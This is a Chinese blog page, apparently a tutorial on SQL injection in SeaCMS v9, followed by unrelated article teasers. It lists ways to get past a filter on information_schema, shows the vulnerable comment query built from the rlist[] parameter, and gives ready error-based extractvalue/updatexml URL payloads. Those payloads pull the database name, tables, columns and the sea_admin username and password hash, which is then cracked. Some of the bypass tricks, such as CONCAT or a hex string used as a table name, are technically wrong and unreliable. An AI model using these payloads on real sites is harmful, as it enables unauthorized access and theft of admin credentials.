当前位置：首页 > news >正文

seacms v9 实现的MySQL注入

news 来源：原创 2025/9/12 0:44:01

过滤关键词information_schema 怎么办

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息

过滤关键词information_schema 怎么办

1.、利用sys数据库（MySQL 5.7+） sys库是MySQL官方提供的系统监控数据库，可能未被过滤。

例：查询表名和列名

SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';

2、利用mysql系统库 mysql库存储用户权限信息，部分表可能包含元数据。

例：通过innodb_table_stats和innodb_index_stats获取表名

SELECT table_name FROM mysql.innodb_table_stats;

3.、编码混淆

十六进制编码：information_schema → 0x696E666F726D6174696F6E5F736368656D61

SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;

Unicode编码：i → CHAR(105)

4、字符串拼接使用CONCAT()或SUBSTR()绕过简单过滤

SELECT * FROM CONCAT('inform', 'ation_schema').tables;

5、. 注释符干扰插入注释分隔符：/**/或/*!*/

SELECT * FROM infor/*!mation_schema*/.tables;

一、环境搭建

二、环境分析

在海洋cms V9 中，用户输入（如登录、评论、分页、ID 等）未经过适当的验证和清理，直接嵌入到 SQL 查询中，导致了 SQL 注入攻击的发生。

三、源代码分析

1、过滤程序

整个模式由三部分组成：前面是一个否定字符组`[^0-9a-z@\._-]{1,}`，中间是关键字组`(union|sleep|...)`，后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字，比如`union`前后有特殊符号的情况。

[^0-9a-z@\._-]{1,} # 第一部分：匹配非允许字符的连续序列
(union|sleep|benchmark|load_file|outfile) # 第二部分：匹配危险SQL关键词
[^0-9a-z@\.-]{1,} # 第三部分：再次匹配非允许字符的连续序列

2、注入点

参数rlist[]被用作数组传递，可能在后端代码中被直接拼接到SQL查询中，没有进行充分的过滤或参数化处理，导致注入发生。

$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

四、获取数据库名

?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

gid=1：ID（数值型）。

page=2：分页参数。

extractvalue()：MySQL XML处理函数，用于触发错误。

concat_ws()：用分隔符连接字符串，0x20是空格，0x5c是反斜杠\。

select database()：获取当前数据库用户。

攻击者访问构造的URL，服务器处理rlist[]参数。后端代码将rlist[]值拼接到IN子句：执行时因非法XPath语法报错，错误信息包含数据库用户

五、获取数据库表名

当sea_comment表中无数据时不会回显报错

添加数据后成功回显

?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

六、获取表的列名

?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`

?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

七、获取数据信息

?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

由于password进行的md5加密，将注入结果（f297a57a5a743894a0e4）进行解密后得到admin

seacms v9 实现的MySQL注入

目录过滤关键词information_schema 怎么办一、环境搭建二、环境分析三、源代码分析 1、过滤程序 2、注入点四、获取数据库名五、获取数据库表名六、获取表的列名七、获取数据信息过滤关键词information_schema 怎么办 1.、利用sys数据库（MySQL 5.…...

编程日记 2025/9/12 0:44:01

基于C#的CANoe CLR Adapter开发指南

一、引言 CANoe 是一款广泛应用于汽车电子开发和测试的工具，它支持多种编程接口，方便开发者进行自定义扩展。CANoe CLR Adapter 允许我们使用 C# 语言与 CANoe 进行交互，充分利用 C# 的强大功能和丰富的类库。本文将详细介绍如何基于 C# 进行…...

编程日记 2025/9/12 0:40:07

Vue 系列之：基础知识

什么是 MVVM MVVM（Model-View-ViewModel）一种软件设计模式，旨在将应用程序的数据模型（Model）与视图层（View）分离，并通过 ViewModel 来实现它们之间的通信。降低了代码的耦合度。 M…...

编程日记 2025/9/11 11:04:54

知识库功能测试难点

图表交互功能测试难点知识库图表类型多，每种图表交互功能不同。像柱状图，可能有点击柱子查看详细数据、鼠标悬停显示数据提示等交互；折线图除了这些，还可能支持缩放查看不同时间段数据。多种交互操作在不同图表间存在差异&#x…...

编程日记 2025/9/10 10:11:03

一文掌握 Scrapy 框架的详细使用，包括实战案例

更多内容请见：爬虫和逆向教程-专栏介绍和目录文章目录 1. Scrapy 简介2. Scrapy 的核心组件3. 安装 Scrapy4. 创建 Scrapy 项目4.1 创建项目4.2 创建 Spider5. 编写 Spider5.1 定义 Item5.2 编写 Spider 逻辑6. 运行 Scrapy 爬虫6.1 运行爬虫6.2 保存爬取数据7. Scrapy 的高…...

编程日记 2025/9/8 16:40:46

奔图Pantum M7165DN黑白激光打印一体机报数据清除中…维修

故障描述：一台奔图Pantum M7165DN黑白激光打印一体机开机自检正常，自检过后就不能工作了，按键面板无任何反应一直提示数据清除中…，如果快速操作的话也能按出菜单、功能啥的，不过一会又死机了，故障请看下图：故障检修：经分析可能是主板数据出现了问题，看看能不能快速…...

编程日记 2025/9/10 8:46:20

微服务架构与传统的单体架构有什么区别?微服务架构（Spring Cloud + Maven）强在哪?

微服务架构与传统的单体架构（Spring Boot Maven 项目）在设计和实现上有显著差异，主要体现在系统拆分方式、部署模式、技术栈选择、维护成本等方面。以下是具体对比： 1. 架构设计维度单体架构微服务架构系统拆分所有功能模块集…...

编程日记 2025/9/8 11:33:09

二、QT和驱动模块实现智能家居----2、编译支持QT的系统

因为我们的Linux内核文件不支持QT系统（当然如果你的支持，完全跳过这篇文章），所以我们要从网上下载很多软件包，这里直接用百问网的软件包，非常方便。一：Ubuntu 配置 1 设置交叉编译工具链以…...

编程日记 2025/9/11 18:33:45

游戏引擎学习第128天

开始然而，我们仍然有一些工作要做，渲染部分并没有完全完成。虽然现在已经能够运行游戏，而且帧率已经可以接受，但仍然有一些东西需要进一步完善。正在使用调试构建编译版本，虽然调试版本的性能不如优化版本&#xff0…...

编程日记 2025/9/2 6:16:01

【量化策略】套利交易策略

【量化策略】套利交易策略 🚀量化软件开通 🚀量化实战教程技术背景与应用场景在金融市场中，套利交易策略是一种利用市场价格差异来获取无风险利润的交易方式。这种策略通常涉及同时买入和卖出不同市场上的相同或相似金融产品&#xff0…...

编程日记 2025/9/8 6:52:58

laravel11设置中文语言包

安装中文语言包 Laravel 11 默认没有内置完整中文语言包，推荐使用第三方维护的完整翻译： # 通过 Composer 安装语言包 composer require laravel-lang/common --dev# 发布中文语言文件到项目 php artisan lang:add zh_CN这会自动将中文语言文件生成到 l…...

编程日记 2025/9/8 21:22:56

Javaweb数据库多表查询内连接外连接子查询

内连接外连接左外连接，左边是全部表表名，即使没有匹配右边的数据，也要查询出来子查询案例 1.没有说所有的部门，所有的员工，用内连接（隐式内连接）...

编程日记 2025/9/5 20:58:25

欧氏距离、曼哈顿距离、切比雪夫距离、闵可夫斯基距离、马氏距离理解学习

目录一、欧氏距离（Euclidean Distance）公式：原理： 二、曼哈顿距离（Manhattan Distance）公式：原理： 三、切比雪夫距离（Chebyshev Distance）公式：原…...

编程日记 2025/9/9 19:00:29

【地图视界-Leaflet4】绘制自定义图形

引言在前面的文章中，我们学会了如何在 Leaflet 中添加标记、弹窗以及切换不同的底图和叠加图层。但是在很多实际应用中，我们需要在地图上绘制多边形、圆形、矩形、折线等几何图形，用于标记区域、路径规划、范围分析等。本篇文章将介绍如何…...

编程日记 2025/9/6 17:37:46

华为hcia——Datacom实验指南——STP工作基本原理及STP/RSTP基本功能配置

什么时候需要用到STP 在二层交换网络中，为了避免环路产生。什么是STP STP生成树协议，是用来在冗余链路上消除二层环路。在众多交换机中，需要设置出一个根桥，其余的交换机称为非根桥，根桥是整个交换网络的核心&…...

编程日记 2025/9/10 12:43:53

游戏引擎学习第127天

仓库:https://gitee.com/mrxiao_com/2d_game_3 为本周设定阶段我们目前的渲染器已经实现了令人惊讶的优化，经过过去两周的优化工作后，渲染器在1920x1080分辨率下稳定地运行在60帧每秒。这个结果是意料之外的，因为我们没有预计会达到这样的…...

编程日记 2025/9/6 19:45:20

PostgreSQL 创建表格

PostgreSQL 创建表格在数据库管理中，表格（Table）是数据存储的基础。PostgreSQL作为一款强大的开源对象关系型数据库管理系统（ORDBMS），创建表格是其最基本的功能之一。本文将详细讲解如何在PostgreSQL中创…...

编程日记 2025/9/10 3:56:35

AF3 deduplicate_unpaired_sequences函数解读

AlphaFold3 msa_pairing模块的deduplicate_unpaired_sequences 函数的作用是移除 chain[msa] 中那些已经存在于 chain[msa_all_seq] 中的序列。换句话说，它保留那些不在 chain[msa_all_seq] 中的序列，从而确保未配对的 MSA 序列不会与配对的 MSA 序列重复…...

编程日记 2025/9/9 21:43:07

图像处理之图像边缘检测算法

目录 1 图像边缘检测算法简介 2 Sobel边缘检测 3 经典的Canny边缘检测算法 4 演示Demo 4.1 开发环境 4.2 功能介绍 4.3 下载地址参考 1 图像边缘检测算法简介图像边缘检测是计算机视觉和图像处理中的基本问题，主要目的是提取图像中明暗变化明显的边缘细节…...

编程日记 2025/9/5 7:14:18

unity使用input system实现相机屏幕手势丝滑拖拽

input action设置操作对象设置 camera 具体操作类 PlayerInputView类 using System.Collections; using UnityEngine; using UnityEngine.InputSystem; using TouchPhase UnityEngine.InputSystem.TouchPhase;public class FingerScale : MonoBehaviour {private Vector3…...

编程日记 2025/9/8 9:44:06

Leetcode-853. Car Fleet [C++][Java]

目录一、题目描述二、解题思路 Leetcode-853. Car Fleethttps://leetcode.com/problems/car-fleet/description/ 一、题目描述 There are n cars at given miles away from the starting mile 0, traveling to reach the mile target. You are given two integer array …...

编程日记 2025/9/10 11:34:16

建易WordPress

建易WordPress是一家专业的WordPress建站服务提供商，专注于为企业和个人提供一站式的WordPress网站建设、维护、托管、运营推广以及搜索引擎优化(SEO)服务。服务内容 1. 网站建设提供模板建站和定制开发两种服务，满足不同客户的需求。模板建站价格为…...

编程日记 2025/9/8 11:26:07

计算机三级网络技术备考（3）

【知识点补充：带宽是是链路的传输速率，宽带是一种服务】第四章：路由设计技术考点1：IP路由选择与路由汇聚核心层：s0两个IP进行汇聚就行汇聚层：聚合后两个以上的往前进几位（因为主机号不够因…...

编程日记 2025/9/4 16:21:36

工程化与框架系列（13）--虚拟DOM实现

虚拟DOM实现 🌳 虚拟DOM（Virtual DOM）是现代前端框架的核心技术之一，它通过在内存中维护UI的虚拟表示来提高渲染性能。本文将深入探讨虚拟DOM的实现原理和关键技术。虚拟DOM概述 🌟 💡 小知识&#xff1…...

编程日记 2025/9/10 6:15:22

Java实现pdf文件压缩（aspose-pdf实现压缩、itextpdf去除aspose-pdf版权水印）

Java实现pdf文件压缩时间换空间，实现pdf文件无损压缩。 1、依赖准备市面上操作pdf文件的组件有spire.pdf.free、itextpdf、openpdf、pdfbox等，它们各有千秋。我们主要完成的场景为压缩，减少文件大小去优化存储、传输等。在这里选取的组件…...

编程日记 2025/9/11 21:20:05

生态安全相关

概念：生态安全指一个国家具有支撑国家生存发展的较为完整、不受威胁的生态系统，以及应对内外重大生态问题的能力。 （1）国外生态安全的研究进展国际上对生态安全的研究是从“环境”与“安全”之间的关系展开的。开始的阶段&#x…...

编程日记 2025/9/10 12:13:22

通过 ANSYS Discovery 进行 CFD 分析，增强工程设计

概括工程师使用计算流体动力学 (CFD) 分析来研究和优化各种应用中的流体流动和传热分析。ANSYS Discovery 是一个用户友好的软件平台，使工程师能够轻松设置和解决 CFD 模型，并能够通知设计修改在这篇博文中，我们将重点介绍在 Ansys Disc…...

编程日记 2025/9/9 6:37:34

2. 在后端代码中加入日志记录模块

1. 说明日志模块基本上是每一个软件系统开发中必不可少的，主要用于持久记录一些代码运行中的输出信息，辅助编码人员进行代码调试，以及后期软件上线运行报错分析。在Python中加入日志模块比较简单，只需要借助logging和RotatingFi…...

编程日记 2025/9/10 16:03:39

MySQL锁分类

一、按锁的粒度划分全局锁定义：锁定整个数据库实例，阻止所有写操作，确保数据备份一致性。加锁方式：通过FLUSH TABLES WITH READ LOCK实现，释放需执行UNLOCK TABLES。应用场景：适用于全库逻辑备份&#xf…...

编程日记 2025/9/7 20:15:32

软件测试之白盒测试知识总结

🍅 点击文末小卡片 ，免费获取软件测试全套资料，资料在手，涨薪更快概念与定义白盒测试：侧重于系统或部件内部机制的测试，类型分为分支测试（判定节点测试）、路径测试、语句测试…...

编程日记 2025/9/4 13:47:02

看视频学习方法总结

以下是提高教学视频吸收率的系统性方法，结合认知科学原理和实际学习场景，帮助您最大化学习效果： 一、观看前的黄金准备阶段 60秒快速扫描法用1分钟快速浏览视频目录、章节标题和简介，建立知识框架。荷兰伊拉斯姆斯大学实验表明&…...

编程日记 2025/9/5 3:55:50

nvm的学习

学习 nvm（Node Version Manager） 是掌握 Node.js 开发的关键技能之一。以下是系统的学习路径和实战指南，涵盖从基础到进阶的内容： 一、基础入门 1. nvm 的核心作用多版本共存：安装和管理多个 Node.js 版本&#xff…...

编程日记 2025/9/11 7:04:56

OpenCV计算摄影学（5）处理一系列图像（例如视频帧）的非局部均值去噪的函数fastNlMeansDenoisingColoredMulti()的使用

操作系统：ubuntu22.04 OpenCV版本：OpenCV4.9 IDE:Visual Studio Code 编程语言：C11 算法描述对用于彩色图像序列的 fastNlMeansDenoisingMulti 函数的修改。 cv::fastNlMeansDenoisingColoredMulti 函数是 OpenCV 中用于处理一系列图像&am…...

编程日记 2025/9/3 21:20:35

mysql安装教程，超详细图文教程（附安装包）MySQL8.0安装教程

文章目录前言一、MySQL安装包下载二、mysql安装教程前言本教程旨在为大家提供详细、清晰的 mysql安装教程，帮助你轻松跨过安装门槛，顺利开启数据库管理与开发的精彩之旅。一、MySQL安装包下载 MySQL 是一款备受欢迎的开源关系型数据库管理系统&…...

编程日记 2025/9/10 6:49:36

Spark内存迭代计算

一、宽窄依赖窄依赖：父RDD的一个分区数据全部发往子RDD的一个分区宽依赖：父RDD的一个分区数据发往子RDD的多个分区，也称为shuffle 二、Spark是如何进行内存计算的？DAG的作用？Stage阶段划分的作用？ &a…...

编程日记 2025/9/10 1:10:01

Odoo免费开源CRM技术实战：从商机线索关联转化为售后工单的应用

文 / 开源智造 Odoo金牌服务 Odoo：功能强大且免费开源的CRM Odoo 引入了一种高效的客户支持管理方式，即将 CRM 线索转换为服务台工单。此功能确保销售和支持团队能够无缝协作，从而提升客户满意度并缩短问题解决时间。通过整合 CRM 模块与服…...

编程日记 2025/9/3 1:45:06

对seacmsv9进行sql注入，orderby，过滤information_schema

对seacmsv9进行sql注入，orderby，过滤information_schema 1.对seacmsv9进行sql注入海洋影视管理系统（seacms，海洋cms）是一套专为不同需求的站长而设计的视频点播系统，采用的是 php5.Xmysql 的架构 seacm…...

编程日记 2025/9/3 9:59:32

跨AWS账户共享SQS队列以实现消息传递

在现代分布式系统中,不同的服务和组件通常需要进行通信和协作。Amazon Simple Queue Service (SQS)提供了一种可靠、可扩展且完全托管的消息队列服务,可以帮助您构建分布式应用程序。本文将介绍如何在一个AWS账户(账户A)中创建SQS队列,并授权另一个AWS账户(账户B)中的用户和角色…...

编程日记 2025/9/11 11:36:01

Starrocks 写入报错 primary key memory usage exceeds the limit

背景本文基于 StarRocks 3.3.5 单个Starrocks BE配置是 16CU 32GB 在Flink Yaml CDC 任务往 Starrocks写数据的过程中，突然遇到了primary key memory usage exceeds the limit 问题，具体如下： java.lang.RuntimeException: com.starrocks.…...

编程日记 2025/9/7 18:52:32

【Java】I/O 流篇 —— 打印流与压缩流

目录打印流概述字节打印流构造方法成员方法代码示例字符打印流构造方法成员方法代码示例打印流的应用场景解压缩/压缩流解压缩流压缩流 Commons-io 工具包概述Commons-io 使用步骤Commons-io 常见方法代码示例 Hutool 工具包打印流概述分类：打印流一般是指…...

编程日记 2025/9/10 18:42:20

刷屏（0和1）

计算机有一个“好东西”，它就是2进制，虽然无法快速转换，but可以通过编程来实现。附代码： #include <bits/stdc.h> using namespace std; int main() {int a,b,c;cout<<" …...

编程日记 2025/9/10 16:47:10

keil主题（vscode风格）

#修改global.prop文件，重新打开keil即可 # Keil uVision Global Properties File # This file is used to customize the appearance of the editor# Editor Font editor.font.nameConsolas editor.font.size10 editor.font.style0# Editor Colors editor.backgro…...

编程日记 2025/9/11 7:00:18

windows服务器更新jar包脚本

【需求】Java每次发布新的版本都需要先kill掉原来的服务，然后再启动新的包有了这个脚本只需要把包替换掉，服务会自动kill 以6001 为例完整的脚本如下 echo off REM 检查端口 6001 是否被占用 netstat -ano | findstr :6001 > nul IF %ERRORLE…...

编程日记 2025/9/10 5:20:46

前端实现OSS上传图片(Vue3+vant)

首先，下面这些信息从阿里云服务器OSS管理中获取 aliyun:oss:file:endpoint: "oss-cn-beijing.aliyuncs.com"keyid: "xxxxxxxxx"keysecret: "xxxxxxxxxxxx"bucketname: "xxxx"一、安装OSS npm install ali-oss 二、以下步…...

编程日记 2025/9/8 4:52:21

Vue.js 组件开发指南：实现、传值与优缺点分析

1. 组件的实现与使用 1.1 组件的定义在 Vue.js 中，组件是独立的、可复用的 Vue 实例。每个组件可以包含自己的模板、逻辑和样式。 // 定义一个简单的组件 Vue.component(my-component, {template: <div>这是一个自定义组件</div> });1.2 组件的使用…...

编程日记 2025/9/6 19:00:48

vulnhub靶场之【kioptrix-5】靶机

前言靶机：kioptrix-5，IP地址为192.168.10.10 攻击：kali，IP地址为192.168.10.6 都采用VMware虚拟机，网卡为桥接模式这里需要注意，在靶机安装后，先把原本的网卡删除，重新添加一个…...

编程日记 2025/9/6 4:51:50

#渗透测试#批量漏洞挖掘#(0day)某智能终端操作平台前台存在通用SQL注入漏洞（CVE-2022-21047）

免责声明本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停…...

编程日记 2025/9/7 14:31:43

Linux系统中proc是做什么的？

在 Linux 系统中，/proc 是一个虚拟文件系统（Virtual Filesystem），它不对应实际的磁盘文件，而是内核在内存中动态生成的。/proc 文件系统提供了一种与内核数据结构交互的方式，它主要用于存放与系统运行状态、…...

编程日记 2025/9/9 10:13:24

el-table修改表格颜色

文章目录一、el-table属性修改表格颜色1.1、header-row-class-name修改表头行颜色1.2、header-row-style修改表头样式1.3、row-class-name修改行颜色二、el-table-column属性修改表格颜色2.1、class-name修改整列的颜色2.2、label-class-name修改列标题颜色本文讲解vue修改e…...

编程日记 2025/9/8 13:29:22

014存储期（时间）

一、基本概念 C语言中，变量都是有一定的生存周期的，所谓生存周期指的是从分配到释放的时间间隔。为变量分配内存相当于变量的诞生，释放其内存相当于变量的死亡。从诞生到死亡就是一个变量的生命周期。根据定义方式的不同，变量的…...

编程日记 2025/9/10 12:11:03

过滤关键词information_schema 怎么办

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息

相关文章：